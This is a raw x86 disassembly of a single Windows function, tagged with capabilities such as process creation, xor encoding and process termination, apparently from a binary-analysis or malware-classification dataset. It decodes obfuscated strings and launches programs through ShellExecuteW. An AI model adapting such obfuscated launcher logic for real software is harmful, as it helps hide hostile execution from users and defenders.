Function at 0x407e49
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push 0xa0
mov eax, 0x438c28
call fcn.00422ef7
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x48], edi
cmp dword [edi + 4], 1
jne 0x408466
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 0xece3e8a0
mov dword [ebp - 0x34], 0x8d7ca2d7
mov byte [ebp - 0x30], 0xef
mov word [ebp - 0x2f], bx
mov byte [ebp - 0x2d], bl
call fcn.00408f8e
push eax
lea ecx, [ebp - 0x28]
call fcn.00402546
mov dword [ebp - 4], ebx
xor ecx, ecx
push ecx
push dword [eax]
lea ebx, [edi + 0x24]
mov ecx, ebx
call fcn.004024be
mov esi, eax
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.00401564
cmp esi, 0xffffffff
je 0x4083fe
push ecx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 0x7ceed7ca
mov edx, esp
mov dword [ebp - 0x14], 0xef8d
mov dword [ebp - 0x2c], esp
call fcn.00409065
push eax
mov ecx, edx
call fcn.00402546
mov dword [ebp - 4], 2
push ecx
mov ecx, esp
mov dword [ebp - 0x40], esp
push ebx
call fcn.004025e0
mov byte [ebp - 4], 3
or dword [ebp - 4], 0xffffffff
call fcn.00406afc
add esp, 4
mov dword [edi], eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 0x7cd9edaf
mov edx, esp
mov dword [ebp - 0x14], 0xef8d
mov dword [ebp - 0x24], esp
call fcn.00409065
push eax
mov ecx, edx
call fcn.00402546
mov dword [ebp - 4], 4
push ecx
mov ecx, esp
mov dword [ebp - 0x20], esp
push ebx
call fcn.004025e0
mov byte [ebp - 4], 5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040696c
pop ecx
pop ecx
mov dword [ebp - 4], 6
lea esi, [edi + 0x28]
push eax
mov ecx, esi
mov dword [ebp - 0x2c], esi
call fcn.004028dc
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.00401564
push ecx
xor eax, eax
mov dword [ebp - 0x3c], 6
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x38], 0xd3e8d1b2
mov dword [ebp - 0x34], 0x8d7cd7dd
mov edx, esp
mov byte [ebp - 0x30], 0xef
mov word [ebp - 0x2f], ax
mov byte [ebp - 0x2d], al
mov dword [ebp - 0x54], esp
call fcn.00408f8e
push eax
mov ecx, edx
call fcn.00402546
mov dword [ebp - 4], 8
push ecx
mov ecx, esp
mov dword [ebp - 0x50], esp
push ebx
call fcn.004025e0
mov byte [ebp - 4], 9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040696c
pop ecx
pop ecx
mov dword [ebp - 4], 0xa
lea ecx, [edi + 0x2c]
push eax
call fcn.004028dc
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.00401564
push ecx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x18], 0xd7cae6cb
mov edx, esp
mov dword [ebp - 0x14], 0xef8d7cee
mov dword [ebp - 0x4c], esp
call fcn.004057f0
push eax
mov ecx, edx
call fcn.00402546
mov dword [ebp - 4], 0xc
push ecx
mov ecx, esp
mov dword [ebp - 0x44], esp
push ebx
call fcn.004025e0
mov byte [ebp - 4], 0xd
or dword [ebp - 4], 0xffffffff
call fcn.00406afc
pop ecx
pop ecx
mov ecx, dword [edi]
cmp ecx, dword [0x44ef60]
je 0x4083e9
cmp eax, ecx
je 0x4080eb
push dword [esi]
push 4
call fcn.004019db
pop ecx
pop ecx
cmp eax, 6
je 0x4080eb
push ecx
lea ecx, [ebp - 0x1c]
mov dword [edi + 0x1c], 1
mov dword [ebp - 0x1c], 5
mov edx, esp
mov dword [ebp - 0x18], 0xd3c8ece7
mov dword [ebp - 0x14], 0xef8d7ced
mov dword [ebp - 0x44], esp
call fcn.004057f0
push eax
mov ecx, edx
call fcn.00402546
mov dword [ebp - 4], 0x1e
push ecx
mov ecx, esp
mov dword [ebp - 0x4c], esp
push ebx
call fcn.004025e0
mov byte [ebp - 4], 0x1f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040696c
pop ecx
pop ecx
mov dword [ebp - 4], 0x20
mov ecx, esi
push eax
call fcn.004028dc
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x28]
jmp 0x4083e1
xor eax, eax
mov dword [ebp - 0x3c], 6
push ecx
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x38], 0xdbb8ecc7
mov edx, esp
mov dword [ebp - 0x34], 0x8d7cd7e8
mov byte [ebp - 0x30], 0xef
mov word [ebp - 0x2f], ax
mov byte [ebp - 0x2d], al
mov dword [ebp - 0x44], esp
call fcn.00408f8e
push eax
mov ecx, edx
call fcn.00402546
mov dword [ebp - 4], 0xe
push ecx
mov ecx, esp
mov dword [ebp - 0x4c], esp
push ebx
call fcn.004025e0
mov byte [ebp - 4], 0xf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0040696c
mov dword [ebp - 4], 0x10
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x11
add esp, 4
lea eax, [ebp - 0x24]
mov dword [ebp - 0x50], esp
mov ecx, esp
lea edi, [ebp - 0x1c]
push eax
call fcn.004025e0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
mov ecx, edi
call fcn.00407240
mov ebx, eax
mov dword [ebp - 0x40], ebx
pop ecx
test ebx, ebx
je 0x40836e
xor ecx, ecx
mov dword [ebp - 0x28], ebx
mov ebx, dword [ebp - 0x48]
mov edx, ecx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebx + 0x3c]
add eax, 8
mov edi, dword [0x452744]
add eax, edx
push ecx
mov ecx, esp
mov dword [ebp - 0x44], esp
push eax
call fcn.004025e0
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add edx, 4
push ecx
add eax, edx
mov dword [ebp - 0x4c], esp
mov ecx, esp
push eax
call fcn.004025e0
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x11
mov edx, esi
mov ecx, edi
call fcn.00406f57
mov edx, dword [ebp - 0x20]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov byte [edx + ecx], al
add edx, 0x1c
sub dword [ebp - 0x28], 1
mov dword [ebp - 0x20], edx
jne 0x4081a5
mov eax, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x2c]
cmp byte [eax], 0
je 0x40833a
xor edx, edx
mov edi, edx
test ebx, ebx
je 0x4084e8
push edi
lea ecx, [ebp - 0x1c]
call fcn.00408fde
cmp byte [eax], 0
je 0x40832c
push edi
call fcn.00408fde
cmp byte [eax + 1], 0
je 0x40832c
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040161c
call fcn.00402613
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x60]
push eax
call fcn.0040851b
mov ecx, eax
call fcn.004057f0
push eax
lea ecx, [ebp - 0x40]
call fcn.00402546
mov esi, eax
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0xac]
push eax
call fcn.004084ef
mov ecx, eax
call fcn.004036ee
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402546
mov byte [ebp - 4], 0x17
mov ecx, eax
push dword [esi]
call fcn.0040263d
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00402ee0
add esp, 0xc
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x2c]
call fcn.0040232f
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x40]
call fcn.0040232f
lea eax, [ebp - 0x38]
push eax
call fcn.00408539
mov ecx, eax
call fcn.0040495b
push eax
lea ecx, [ebp - 0x28]
call fcn.00402546
mov esi, eax
mov byte [ebp - 4], 0x18
xor ecx, ecx
push 5
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040263d
push eax
push edi
lea ecx, [ebp - 0x1c]
call fcn.00408fde
lea ecx, [eax + 8]
call fcn.0040263d
push eax
mov ecx, esi
call fcn.0040263d
push eax
xor eax, eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x28]
call fcn.0040232f
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x20]
call fcn.0040232f
inc edi
cmp edi, ebx
jae 0x4084e6
jmp 0x408223
mov edi, dword [ebp - 0x48]
lea eax, [ebp - 0x90]
push eax
mov dword [edi + 0x1c], 3
call fcn.00408557
mov ecx, eax
call fcn.00408f66
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402546
mov byte [ebp - 4], 0x19
mov ecx, esi
push eax
call fcn.004028dc
jmp 0x4083bf
mov edi, dword [ebp - 0x48]
lea eax, [ebp - 0x94]
push eax
mov dword [edi + 0x1c], 3
call fcn.004085b4
mov ecx, eax
xor ebx, ebx
mov edx, ebx
mov eax, dword [ecx]
lea esi, [ecx + 4]
test eax, eax
je 0x4083a6
mov al, byte [edx + esi]
sub al, byte [ecx + 0x33]
xor al, byte [ecx + 0x32]
mov byte [edx + esi], al
inc edx
mov eax, dword [ecx]
cmp edx, eax
jb 0x408393
push esi
lea ecx, [ebp - 0x2c]
mov byte [eax + esi], bl
call fcn.00402546
mov byte [ebp - 4], 0x1b
lea ecx, [edi + 0x28]
push eax
call fcn.004028dc
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.00401564
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1c]
call fcn.00408feb
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x24]
lea ecx, [ecx - 0x10]
call fcn.00401564
mov eax, dword [edi + 0x2c]
xor esi, esi
cmp dword [eax - 0xc], esi
je 0x408468
push eax
push esi
call fcn.004019db
pop ecx
pop ecx
jmp 0x408468
lea eax, [ebp - 0x98]
mov dword [edi + 4], 3
push eax
call fcn.00408618
mov ecx, eax
xor ebx, ebx
mov edx, ebx
mov eax, dword [ecx]
lea esi, [ecx + 4]
test eax, eax
je 0x408433
mov al, byte [edx + esi]
sub al, byte [ecx + 0x37]
xor al, byte [ecx + 0x36]
mov byte [edx + esi], al
inc edx
mov eax, dword [ecx]
cmp edx, eax
jb 0x408420
push esi
lea ecx, [ebp - 0x2c]
mov byte [eax + esi], bl
call fcn.00402546
mov dword [ebp - 4], 0x22
push dword [edi + 4]
push dword [eax]
lea eax, [edi + 0x28]
push eax
call fcn.00402ee0
add esp, 0xc
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.00401564
xor esi, esi
cmp dword [edi + 4], 1
je 0x4084d3
mov eax, dword [0x45277c]
mov edx, dword [0x452778]
sub eax, edx
mov ecx, dword [0x452738]
sar eax, 2
dec eax
cmp ecx, eax
jae 0x4084d3
inc ecx
lea ebx, [edi + 0x20]
mov dword [0x452738], ecx
push dword [edx + ecx*4]
push dword [edx + ecx*4 - 4]
mov ecx, ebx
call fcn.004049d4
push esi
push dword [edi + 8]
mov esi, dword [edi + 0x38]
push dword [edi + 0x3c]
mov edi, dword [edi + 0x34]
push ecx
mov ecx, esp
mov dword [ebp - 0x44], esp
push ebx
call fcn.004025e0
mov dword [ebp - 4], 0x24
or dword [ebp - 4], 0xffffffff
mov edx, esi
mov ecx, edi
call fcn.0040749a
add esp, 0x10
jmp 0x4084de
mov eax, dword [edi + 0x38]
test eax, eax
je 0x4084de
push edi
call eax
pop ecx
call fcn.00422ea6
ret 4
xor edx, edx
push edx
call fcn.00429c9f
int3